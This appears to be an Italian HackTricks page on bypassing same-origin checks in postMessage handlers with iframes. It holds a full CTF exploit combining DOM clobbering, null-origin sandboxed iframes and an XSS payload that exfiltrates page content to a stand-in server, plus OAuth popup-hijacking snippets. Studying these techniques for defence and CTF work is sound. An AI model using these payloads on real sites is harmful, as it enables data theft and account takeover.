Bypassing SOP with Iframes - 2
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Iframes in SOP-2
Nella solution per questa challenge, @Strellic_ propone un metodo simile alla sezione precedente. Vediamolo.
In questa sfida l’attaccante deve bypass questo:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Se lo fa, può inviare un postmessage con contenuto HTML che verrà scritto nella pagina con innerHTML senza sanificazione (XSS).
Il modo per bypassare la prima verifica è rendere window.calc.contentWindow undefined e e.source null:
window.calc.contentWindowè in realtàdocument.getElementById("calc"). Puoi clobberaredocument.getElementByIdcon<img name=getElementById />(nota che Sanitizer API -here- non è configurata per proteggere contro gli attacchi di DOM clobbering nel suo stato predefinito).- Pertanto, puoi clobberare
document.getElementById("calc")con<img name=getElementById /><div id=calc></div>. Allora,window.calcsaràundefined. - Ora, abbiamo bisogno che
e.sourcesiaundefinedonull(perché viene usato==invece di===,null == undefinedèTrue). Ottenerlo è “facile”. Se crei un iframe e invia un postMessage da esso e rimuovi immediatamente l’iframe,e.origindiventerànull. Controlla il seguente codice
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Per bypassare il secondo controllo sul token bisogna inviare token con valore null e fare in modo che window.token abbia valore undefined:
- Inviare
tokennel postMessage con valorenullè banale. window.tokenviene impostato richiamando la funzionegetCookieche usadocument.cookie. Nota che qualsiasi accesso adocument.cookienelle pagine con originnullprovoca un errore. Questo farà sì chewindow.tokenabbia valoreundefined.
La soluzione finale di @terjanq è la seguente:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
Un recente task di TryHackMe (“Vulnerable Codes”) dimostra come OAuth popups possano essere hijacked quando l’opener vive all’interno di uno sandboxed iframe che permette soltanto scripts e popups. L’iframe forza sia se stesso che la popup in un’origine "null", quindi gli handler che controllano if (origin !== window.origin) return falliscono silenziosamente perché window.origin dentro la popup è anch’esso "null". Anche se il browser espone ancora il reale location.origin, la vittima non lo ispeziona mai, così i messaggi controllati dall’attaccante passano indisturbati.
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
Punti chiave per abusare di questa configurazione:
- Handlers che confrontano
originconwindow.originall’interno del popup possono essere bypassati perché entrambi valutano a"null", quindi messaggi contraffatti appaiono legittimi. - Sandboxed iframes che concedono
allow-popupsma omettonoallow-same-origincomunque generano popup bloccati sull’origin null controllato dall’attaccante, offrendo un enclave stabile anche nelle build Chromium del 2025.
Source-nullification & frame-restriction bypasses
Industry writeups around CVE-2024-49038 highlight two reusable primitives for this page: (1) you can still interact with pages that set X-Frame-Options: DENY by launching them via window.open and posting messages once the navigation settles, and (2) you can brute-force event.source == victimFrame checks by removing the iframe immediately after sending a message so that the receiver only sees null in the handler.
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
Combina questo con il DOM-clobbering trick sopra: una volta che il destinatario vede solo event.source === null, qualsiasi confronto con window.calc.contentWindow o simili si annulla, consentendoti di inviare nuovamente malicious HTML sinks tramite innerHTML.
Riferimenti
- PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong
- THM Write-up: Vulnerable Codes
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

